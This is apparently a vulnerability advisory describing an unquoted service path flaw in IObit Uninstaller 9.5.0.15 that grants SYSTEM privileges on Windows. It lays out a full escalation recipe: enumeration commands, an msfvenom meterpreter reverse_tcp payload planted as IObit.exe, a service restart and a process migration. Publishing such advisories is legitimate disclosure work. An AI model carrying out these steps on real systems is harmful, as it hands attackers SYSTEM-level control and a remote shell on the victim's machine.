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2.7 KiB
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# Title: IObit Uninstaller 9.5.0.15 - 'IObit Uninstaller Service' Unquoted Service Path
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# Author: Gobinathan L
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# Date: 2020-06-03
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# Vendor Homepage: https://www.iobit.com
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# Software Link: https://www.iobit.com/en/advanceduninstaller.php
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# Version : 9.5.0.15
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# Tested on: Windows 10 64bit(EN)
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About Unquoted Service Path :
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==============================
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When a service is created whose executable path contains spaces and isn't enclosed within quotes,
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leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
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(only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).
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Steps to recreate :
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=============================
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1. Open CMD and Check for USP vulnerability by typing [ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ]
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2. The Vulnerable Service would Show up.
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3. Check the Service Permissions by typing [ sc qc IObitUnSvr ]
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4. The command would return..
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C:\>sc qc IObitUnSvr
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: IObitUnSvr
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 0 IGNORE
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BINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : IObit Uninstaller Service
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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5. This concludes that the service is running as SYSTEM. "Highest privilege in a machine"
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6. Now create a Payload with msfvenom or other tools and name it to IObit.exe
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7. Make sure you have write Permissions to "C:\Program Files (x86)\IObit" directory.
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8. Provided that you have right permissions, Drop the IObit.exe executable you created into the "C:\Program Files (x86)\IObit" Directory.
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9. Now restart the IObit Uninstaller service by giving coommand [ sc stop IObitUnSvr ] followed by [ sc start IObitUnSvr ]
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10. If your payload is created with msfvenom, quickly migrate to a different process. [Any process since you have the SYSTEM Privilege].
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During my testing :
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Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o IObit.exe
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Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a different Process ]
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# Disclaimer :
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=========================
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The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
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The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
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The author prohibits any malicious use of security related information or exploits by the author or elsewhere. |